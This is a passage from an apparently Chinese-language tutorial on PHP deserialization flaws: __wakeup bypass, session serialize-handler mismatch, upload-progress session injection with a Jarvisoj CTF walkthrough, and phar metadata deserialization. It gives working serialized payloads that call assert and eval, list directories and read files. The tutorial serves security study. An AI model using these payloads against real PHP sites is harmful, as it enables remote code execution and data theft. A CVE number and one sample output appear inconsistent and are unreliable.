class="hljs-keyword">public</span> <span class="hljs-variable">$b</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->a = <span class="hljs-string">"Y-m-d h:i:s"</span>;<br> <span class="hljs-keyword">$this</span>->b = <span class="hljs-string">"date"</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$a</span> = <span class="hljs-keyword">$this</span>->a;<br> <span class="hljs-variable">$b</span> = <span class="hljs-keyword">$this</span>->b;<br> <span class="hljs-keyword">echo</span> <span class="hljs-variable">$b</span>(<span class="hljs-variable">$a</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->a = <span class="hljs-string">"Y-m-d h:i:s"</span>;<br> <span class="hljs-keyword">$this</span>->b = <span class="hljs-string">"date"</span>;<br> }<br>}<br><span class="hljs-variable">$c</span> = <span class="hljs-keyword">new</span> HelloPhp;<br>@<span class="hljs-variable">$ppp</span> = unserialize(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">"data"</span>]);<br></code></pre></td></tr></table></figure><p>如果目标的 php 版本为漏洞版本,便可以修改一下poc实现攻击</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-comment"># 原poc</span><br>O:<span class="hljs-number">8</span>:<span class="hljs-string">"HelloPhp"</span>:<span class="hljs-number">2</span>:{s:<span class="hljs-number">1</span>:<span class="hljs-string">"a"</span>;s:<span class="hljs-number">10</span>:<span class="hljs-string">"phpinfo();"</span>;s:<span class="hljs-number">1</span>:<span class="hljs-string">"b"</span>;s:<span class="hljs-number">6</span>:<span class="hljs-string">"assert"</span>;}<br><span class="hljs-comment"># 利用CVE-2016-712修改poc</span><br>O:<span class="hljs-number">8</span>:<span class="hljs-string">"HelloPhp"</span>:<span class="hljs-number">3</span>:{s:<span class="hljs-number">1</span>:<span class="hljs-string">"a"</span>;s:<span class="hljs-number">10</span>:<span class="hljs-string">"phpinfo();"</span>;s:<span class="hljs-number">1</span>:<span class="hljs-string">"b"</span>;s:<span class="hljs-number">6</span>:<span class="hljs-string">"assert"</span>;}<br></code></pre></td></tr></table></figure><p>实测有效,只是这种低版本php不知道能不能遇到:</p><img src="img/php反序列化漏洞/image-20210901122424735.png" alt="image-20210901122424735" style="zoom:50%;" /><h1 id="Session反序列化漏洞"><a href="#Session反序列化漏洞" class="headerlink" title="Session反序列化漏洞"></a>Session反序列化漏洞</h1><p>php程序在处理session会话时,默认会把session数据通过<strong>session.serialize处理器</strong>转换为<strong>序列化数据</strong>保存在一个临时文件中,如果要读取这些数据,则需要<strong>session.serialize处理器</strong>做一次<strong>反序列化处理</strong>,不同的<strong>session.serialize处理器</strong>处理数据的方式不同,但在反序列化操作时和unserialize()函数相同</p><p>所以一旦session数据可控,就和unserialize()参数可控一样,有存在php对象注入的风险。注意这里其实有另外一个攻击点:文件包含,利用文件包含可控的session文件也是一种常见利用方式</p><p>利用Session 反序列化漏洞产生原因在于 <strong>session.serialize处理器</strong> 在混用时的一个bug,下面详细分析一下。</p><h2 id="session-serialize处理器"><a href="#session-serialize处理器" class="headerlink" title="session.serialize处理器"></a>session.serialize处理器</h2><p>理解session反序列化漏洞,需要对session的原理和工作流程十分熟悉,但这里就不多介绍session了,具体参考笔记【编程-php-常见web编程:会话处理,session】</p><p>这里只关注php中处理 session 序列化的处理器,由 <code>session.serialize_handler</code> 定义,<code>session.serialize_handler</code>定义的引擎有三种,如下表所示:</p><table><thead><tr><th>处理器名称</th><th>存储格式</th></tr></thead><tbody><tr><td>php</td><td>键名 + 竖线 + 经过 <code>serialize()</code> 函数序列化处理的值</td></tr><tr><td>php_binary</td><td>键名的长度对应的 ASCII 字符 + 键名 + 经过 <code>serialize()</code> 函数序列化处理的值</td></tr><tr><td>php_serialize</td><td>经过serialize()函数序列化处理的<strong>数组</strong></td></tr></tbody></table><p>示例代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// ini_set('session.serialize_handler','php_binary');</span><br>session_start();<br><span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'name'</span>] = <span class="hljs-string">'jelly'</span>;<br></code></pre></td></tr></table></figure><p>最终的session数据格式如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php">names|s:<span class="hljs-number">5</span>:<span class="hljs-string">"jelly"</span>;<span class="hljs-comment">//php</span><br><<span class="hljs-number">0x04</span>>names:<span class="hljs-number">5</span>:<span class="hljs-string">"jelly"</span>;<span class="hljs-comment">//php_binary</span><br>a:<span class="hljs-number">1</span>:{s:<span class="hljs-number">4</span>:<span class="hljs-string">"name"</span>;s:<span class="hljs-number">5</span>:<span class="hljs-string">"jelly"</span>;} <span class="hljs-comment">//php_serialize</span><br></code></pre></td></tr></table></figure><p>如果在<strong>php_binary处理器</strong>和<strong>php_serialize处理器</strong>分别注入 <code>$_SESSION['name'] = '|s:5:"jelly";';</code>,最后的session数据如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><<span class="hljs-number">0x04</span>>names:<span class="hljs-number">13</span>:<span class="hljs-string">"|s:5:"</span>jelly<span class="hljs-string">";"</span>;<span class="hljs-comment">// php_binary 处理器</span><br>a:<span class="hljs-number">1</span>:{s:<span class="hljs-number">4</span>:<span class="hljs-string">"name"</span>;s:<span class="hljs-number">13</span>:<span class="hljs-string">"|s:5:"</span>jelly<span class="hljs-string">";"</span>;}<span class="hljs-comment">// php_serialize 处理器</span><br></code></pre></td></tr></table></figure><p>再使用<strong>php处理器</strong>来读取上面的session文件时仍能反序列化成功,读取到的值如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-string">'<0x04>names:13:"'</span> => <span class="hljs-keyword">string</span> <span class="hljs-string">'jelly'</span><span class="hljs-comment">// php处理器 能读取到php_binary处理后的值</span><br><span class="hljs-string">'a:1:{s:4:"name";s:13:"'</span> => <span class="hljs-keyword">string</span> <span class="hljs-string">'jelly'</span><span class="hljs-comment">// php处理器 能读取到php_serialize处理后的值</span><br></code></pre></td></tr></table></figure><p>到这基本就能理解到session反序列化漏洞产生的原因了,如果程序在存入session时用了<strong>php_binary处理器</strong>或<strong>php_serialize处理器</strong>,且写入的session数据可控,便可以注入<strong>带有<code>|</code>符号的php处理器格式数据</strong>,如果程序恰巧在某处又使用<strong>php处理器</strong>来读取session,那么注入的数据能被有效的反序列化处理,从而造成危害</p><p>其实seesion反序列化本质作用就是多了一个可控的 unserialize() 入口,能否注入可利用的php对象也是另外一回事了</p><h2 id="简单的session反序化漏洞示例"><a href="#简单的session反序化漏洞示例" class="headerlink" title="简单的session反序化漏洞示例"></a>简单的session反序化漏洞示例</h2><blockquote><p>session.php</p></blockquote><p>session.php 文件的处理器是 <code>php_serialize</code></p><p>session.php 文件的作用是传入可控的 session 值</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br> error_reporting(<span class="hljs-number">0</span>);<br> ini_set(<span class="hljs-string">'session.serialize_handler'</span>,<span class="hljs-string">'php_serialize'</span>);<br> session_start();<br> <span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'session'</span>] = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'session'</span>];<br></code></pre></td></tr></table></figure><blockquote><p>class.php</p></blockquote><p>class.php文件的处理器是<code>php</code></p><p>class.php 文件的作用是在反序列化开始前输出<code>Who are you?</code>,反序列化结束的时候输出<code>name</code>值</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br>error_reporting(<span class="hljs-number">0</span>);<br> ini_set(<span class="hljs-string">'session.serialize_handler'</span>,<span class="hljs-string">'php'</span>);<br> session_start();<br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">XianZhi</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$name</span> = <span class="hljs-string">'panda'</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"Who are you?"</span>;<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">'<br>'</span>.<span class="hljs-keyword">$this</span>->name;<br> }<br> }<br> <span class="hljs-variable">$str</span> = <span class="hljs-keyword">new</span> XianZhi();<br></code></pre></td></tr></table></figure><p>利用方式:</p><p>1)生成的序列化字符串,利用 payload 如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">XianZhi</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$name</span>;<br>}<br><span class="hljs-variable">$str</span> = <span class="hljs-keyword">new</span> XianZhi();<br><span class="hljs-variable">$str</span>->name = <span class="hljs-string">"jelly"</span>;<br><span class="hljs-keyword">echo</span> serialize(<span class="hljs-variable">$str</span>);<br></code></pre></td></tr></table></figure><p>生成的反序列化字符串为:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">O:<span class="hljs-number">7</span>:<span class="hljs-string">"XianZhi"</span>:<span class="hljs-number">1</span>:{s:<span class="hljs-number">4</span>:<span class="hljs-string">"name"</span>;s:<span class="hljs-number">5</span>:<span class="hljs-string">"jelly"</span>;}<br></code></pre></td></tr></table></figure><p>2)利用 session.php (php_serialize处理器)注入,记得加上 <code>|</code> 符号</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">sesssion.php?session=|O:<span class="hljs-number">7</span>:<span class="hljs-string">"XianZhi"</span>:<span class="hljs-number">1</span>:{s:<span class="hljs-number">4</span>:<span class="hljs-string">"name"</span>;s:<span class="hljs-number">5</span>:<span class="hljs-string">"jelly"</span>;}<br></code></pre></td></tr></table></figure><p>此时session文件内容如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">a:<span class="hljs-number">1</span>:{s:<span class="hljs-number">7</span>:<span class="hljs-string">"session"</span>;s:<span class="hljs-number">42</span>:<span class="hljs-string">"|O:7:"</span>XianZhi<span class="hljs-string">":1:{s:4:"</span>name<span class="hljs-string">";s:5:"</span>jelly<span class="hljs-string">";}"</span>;}<br></code></pre></td></tr></table></figure><p>3)访问 class.php(php处理器),通过session反序列化便恢复了 XianZhi 类对象,反序列化操作也会触发 <code>__wakeup()</code> 方法,在程序结束后又会触发 <code>__destruct()</code> 方法</p><h2 id="上传进度控制session反序列化"><a href="#上传进度控制session反序列化" class="headerlink" title="上传进度控制session反序列化"></a>上传进度控制session反序列化</h2><p>参考:<a href="https://chenlvtang.top/2021/04/13/PHP%E4%B8%ADsession-upload-progress%E7%9A%84%E5%88%A9%E7%94%A8/">https://chenlvtang.top/2021/04/13/PHP%E4%B8%ADsession-upload-progress%E7%9A%84%E5%88%A9%E7%94%A8/</a></p><p>上面说到session反序列化漏洞需要写入的session数据可控,相当于 <code>$_SESSION['xxx']=$_GET['yyy']</code>,但其实 <code>$_SESSION</code> 很少会有外部数据控制的,但就是有大佬发现了一定能写入session的方法,用到了php session上传进度的知识,具体看手册</p><p>当<code>php.ini</code>中的<code>session.upload_progress.enabled</code>开启后(默认为开启),在上传文件时,PHP会监测每一个文件的进度,并可以通过一个POST请求来检查这个状态。如果同时POST一个与INI中设置的 <code>session.upload_progress.name</code> 同名变量时,上传进度可以在<code>$_SESSION</code>中获得。当PHP检测到这种POST请求时,它会在<code>$_SESSION</code>中添加一组数据,索引是 <code>session.upload_progress.prefix</code> 与 <code>session.upload_progress.name</code> 连接在一起的值。</p><p>下面是官方给出的一个例子:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"upload.php"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span> <span class="hljs-attr">enctype</span>=<span class="hljs-string">"multipart/form-data"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"<?php echo ini_get("</span><span class="hljs-attr">session.upload_progress.name</span>"); ?></span>" value="123" /><br> <span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"file1"</span> /></span><br> <span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"file2"</span> /></span><br> <span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> /></span><br><span class="hljs-tag"></<span class="hljs-name">form</span>></span><br></code></pre></td></tr></table></figure><p>session数据可能如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">"upload_progress_123"</span>] = <span class="hljs-keyword">array</span>(<br> <span class="hljs-string">"start_time"</span> => <span class="hljs-number">1234567890</span>, <span class="hljs-comment">// The request time 请求时间</span><br> <span class="hljs-string">"content_length"</span> => <span class="hljs-number">57343257</span>, <span class="hljs-comment">// POST content length 长度</span><br> <span class="hljs-string">"bytes_processed"</span> => <span class="hljs-number">453489</span>, <span class="hljs-comment">// Amount of bytes received and processed 已接收字节</span><br> <span class="hljs-string">"done"</span> => <span class="hljs-literal">false</span>, <span class="hljs-comment">// true when the POST handler has finished, successfully or not 是否上传完成</span><br> <span class="hljs-string">"files"</span> => <span class="hljs-keyword">array</span>(<br> <span class="hljs-comment">//上传的文件</span><br> <span class="hljs-number">0</span> => <span class="hljs-keyword">array</span>(<br> <span class="hljs-string">"field_name"</span> => <span class="hljs-string">"file1"</span>, <span class="hljs-comment">// Name of the <input/> field input中设定的变量名</span><br> <span class="hljs-comment">// The following 3 elements equals those in $_FILES </span><br> <span class="hljs-string">"name"</span> => <span class="hljs-string">"foo.avi"</span>, <span class="hljs-comment">//文件名</span><br> <span class="hljs-string">"tmp_name"</span> => <span class="hljs-string">"/tmp/phpxxxxxx"</span>,<br> <span class="hljs-string">"error"</span> => <span class="hljs-number">0</span>,<br> <span class="hljs-string">"done"</span> => <span class="hljs-literal">true</span>, <span class="hljs-comment">// True when the POST handler has finished handling this file</span><br> <span class="hljs-string">"start_time"</span> => <span class="hljs-number">1234567890</span>, <span class="hljs-comment">// When this file has started to be processed</span><br> <span class="hljs-string">"bytes_processed"</span> => <span class="hljs-number">57343250</span>, <span class="hljs-comment">// Amount of bytes received and processed for this file</span><br> ),<br> <span class="hljs-comment">// An other file, not finished uploading, in the same request</span><br> <span class="hljs-number">1</span> => <span class="hljs-keyword">array</span>(<br> <span class="hljs-string">"field_name"</span> => <span class="hljs-string">"file2"</span>,<br> <span class="hljs-string">"name"</span> => <span class="hljs-string">"bar.avi"</span>,<br> <span class="hljs-string">"tmp_name"</span> => <span class="hljs-literal">NULL</span>,<br> <span class="hljs-string">"error"</span> => <span class="hljs-number">0</span>,<br> <span class="hljs-string">"done"</span> => <span class="hljs-literal">false</span>,<br> <span class="hljs-string">"start_time"</span> => <span class="hljs-number">1234567899</span>,<br> <span class="hljs-string">"bytes_processed"</span> => <span class="hljs-number">54554</span>,<br> ),<br> )<br>);<br></code></pre></td></tr></table></figure><p>可以看到session中的<code>field_name</code>和<code>name</code>都是我们可控的</p><p>这里还有一个点要注意,<code>session.upload_progress.cleanup</code> 要设置为off(默认为on),当文件上传结束后,php将会立即清空对应session文件中的内容,如果为on可以利用条件竞争,用 burp 不断发包,在文件删除之前赶快利用到这个文件。条件竞争这个概念在文件上传也遇到过一次,在这的意思差不多</p><p>【实例】Jarvisoj Web:<a href="http://web.jarvisoj.com:32784/index.php">http://web.jarvisoj.com:32784/index.php</a></p><p>简单分析一下源码:</p><ul><li>当前文件使用的是 php 处理器</li><li>在 <strong>OowoO 类</strong>的 <code>__destruct()</code> 方法中有一个敏感方法 <code>eval($this->mdzz) </code> ,如果程序存在反序列化入口基本就能利用这个方法,而这里的入口就是session反序列化</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-comment">//A webshell is wait for you</span><br>ini_set(<span class="hljs-string">'session.serialize_handler'</span>, <span class="hljs-string">'php'</span>);<br>session_start();<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OowoO</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mdzz</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->mdzz = <span class="hljs-string">'phpinfo();'</span>;<br> }<br> <br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">eval</span>(<span class="hljs-keyword">$this</span>->mdzz);<br> }<br>}<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'phpinfo'</span>]))<br>{<br> <span class="hljs-variable">$m</span> = <span class="hljs-keyword">new</span> OowoO();<br>}<br><span class="hljs-keyword">else</span><br>{<br> highlight_string(file_get_contents(<span class="hljs-string">'index.php'</span>));<br>}<br></code></pre></td></tr></table></figure><p>程序可以看到 phpinfo 的信息,先查看一些关键参数:</p><p><code>session.serialize_handler</code> <strong>Local</strong>为php处理器,<strong>Master</strong>为php_serialize处理器,我的理解是系统在处理上传文件时还是会用主处理器即 php_serialize,在访问 index.php 时再次读取session时使用了php处理器从而触发反序列化。</p><p>从这里也能更深刻的理解到在写 session 数据时一定要用 php_serialize 或 php_binary 处理器,在读时使用 php 处理器</p><p><code>session.upload_progress.enabled</code> 开启,可以监控文件上传进度。 <code>session.upload_progress.cleanup</code> 关闭,不用担心写入内容被删除了</p><img src="img/php反序列化漏洞/image-20210902104259542.png" alt="image-20210902104259542" style="zoom:50%;" /><p>还可以看下 <code>disable_functions</code>,该靶机是禁用了很多函数的</p><p>通过 phpinfo 可以看到这些基础配置都是满足我们的需求的,下面就直接利用好了</p><p>1)生成序列化 exp ,我们主要控制OowoO的属性$mdzz即可</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OowoO</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mdzz</span>=<span class="hljs-string">"print_r(dirname(__FILE__));"</span>;<br>}<br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> OowoO();<br><span class="hljs-keyword">echo</span> serialize(<span class="hljs-variable">$a</span>);<br><br><span class="hljs-comment">// 输出:O:5:"OowoO":1:{s:4:"mdzz";s:13:"system('ls');";}</span><br></code></pre></td></tr></table></figure><p>2)利用上传进度写入 payload</p><p>poc 如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><form action=<span class="hljs-string">"http://web.jarvisoj.com:32784/index.php"</span> method=<span class="hljs-string">"POST"</span> enctype=<span class="hljs-string">"multipart/form-data"</span>><br> <input type=<span class="hljs-string">"hidden"</span> name=<span class="hljs-string">"<?php echo ini_get("</span>session.upload_progress.name<span class="hljs-string">"); ?>"</span> value=<span class="hljs-string">"123"</span> /><br> <input type=<span class="hljs-string">"file"</span> name=<span class="hljs-string">"file"</span> /><br> <input type=<span class="hljs-string">"submit"</span> /><br></form><br></code></pre></td></tr></table></figure><p>可以在本地搭建 web 服务,然后抓取这个包,在 field_name 中插入上面的 payload,注意要加 <code>|</code> 符号,其中的双引号记得转义</p><p>(1)看下当前目录</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">|O:<span class="hljs-number">5</span>:\<span class="hljs-string">"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}</span><br></code></pre></td></tr></table></figure><img src="img/php反序列化漏洞/image-20210902113235426.png" alt="image-20210902113235426" style="zoom:50%;" /><p>(2)查看当前目录有什么文件,找到flag文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">|O:<span class="hljs-number">5</span>:\<span class="hljs-string">"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}</span><br></code></pre></td></tr></table></figure><p><img src="img/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/image-20210902113444304.png" alt="image-20210902113444304"></p><p>(3)读取flag文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">|O:<span class="hljs-number">5</span>:\<span class="hljs-string">"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}</span><br></code></pre></td></tr></table></figure><img src="img/php反序列化漏洞/image-20210902113804599.png" alt="image-20210902113804599" style="zoom:50%;" /><h1 id="phar反序列化漏洞"><a href="#phar反序列化漏洞" class="headerlink" title="phar反序列化漏洞"></a>phar反序列化漏洞</h1><p>参考:<a href="https://paper.seebug.org/680/">https://paper.seebug.org/680/</a></p><p>上面提到session反序列化漏洞其实就是一个提供了一个可控的反序列化入口,phar反序列化漏洞一样</p><p>phar反序列化漏洞最早在2017由Orange在hitcon以CTF题目方式提出(i春秋复现地址:<a href="http://117.50.3.97:8005/%EF%BC%89%EF%BC%8C%E5%9C%A82018%E5%B9%B4%E5%8F%88%E6%9C%89%E5%AE%89%E5%85%A8%E4%BA%BA%E5%91%98%E5%9C%A8Black">http://117.50.3.97:8005/),在2018年又有安全人员在Black</a> Hat分享phar的利用</p><p>Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。</p><p>而Phar文件中也存在反序列化的利用点:<strong>phar文件会以序列化的形式存储用户自定义的meta-data</strong>,该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖 unserialize() 直接进行反序列化操作。phar的具体知识参考笔记【编程-php-杂项-php伪协议:phar://】</p><h2 id="生成phar文件"><a href="#生成phar文件" class="headerlink" title="生成phar文件"></a>生成phar文件</h2><p>利用phar反序列化漏洞首先要学会怎么生成phar文件, setMetadata()则写入将自定义的meta-data序列化后写入phar文件。</p><p>在大多文件系统函数通过 phar:// 伪协议解析phar文件的时候,则会将 mate-data 进行反序列化</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TestObject</span> </span>{<br> }<br><br> @unlink(<span class="hljs-string">"phar.phar"</span>);<br> <span class="hljs-variable">$phar</span> = <span class="hljs-keyword">new</span> Phar(<span class="hljs-string">"phar.phar"</span>); <span class="hljs-comment">//后缀名必须为phar</span><br> <span class="hljs-variable">$phar</span>->startBuffering();<br> <span class="hljs-variable">$phar</span>->setStub(<span class="hljs-string">"<?php __HALT_COMPILER(); ?>"</span>); <span class="hljs-comment">//设置stub</span><br> <span class="hljs-variable">$o</span> = <span class="hljs-keyword">new</span> TestObject();<br> <span class="hljs-variable">$phar</span>->setMetadata(<span class="hljs-variable">$o</span>); <span class="hljs-comment">//将自定义的meta-data存入manifest</span><br> <span class="hljs-variable">$phar</span>->addFromString(<span class="hljs-string">"test.txt"</span>, <span class="hljs-string">"test"</span>); <span class="hljs-comment">//添加要压缩的文件</span><br> <span class="hljs-comment">//签名自动计算</span><br> <span class="hljs-variable">$phar</span>->stopBuffering();<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><h2 id="实战利用"><a href="#实战利用" class="headerlink" title="实战利用"></a>实战利用</h2><p>源码来自mochazz博客:</p><ul><li>发现我们控制MyClass对象的$output属性就可以利用<code>__destruct()</code>执行任意代码了,现在我们就需要找到一个反序列化入口,帮助我们注入这样的php对象</li><li>file_exists() 参数可控,利用该文件函数结合phar://伪协议访问一个phar文件就能触发反序列化,现在我们只需要能上传一个phar文件即可</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>])){<br> <span class="hljs-variable">$filename</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>];<br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyClass</span></span>{<br> <span class="hljs-keyword">var</span> <span class="hljs-variable">$output</span> = <span class="hljs-string">'echo "hello world!";'</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">eval</span>(<span class="hljs-keyword">$this</span>->output);<br> }<br> }<br> file_exists(<span class="hljs-variable">$filename</span>);<br>}<br></code></pre></td></tr></table></figure><p>利用过程如下:</p><p>1)生成利用phar文件的代码如下,phar文件生成后是可以改文件后缀的</p><figure class="highlight php"><table><tr><td 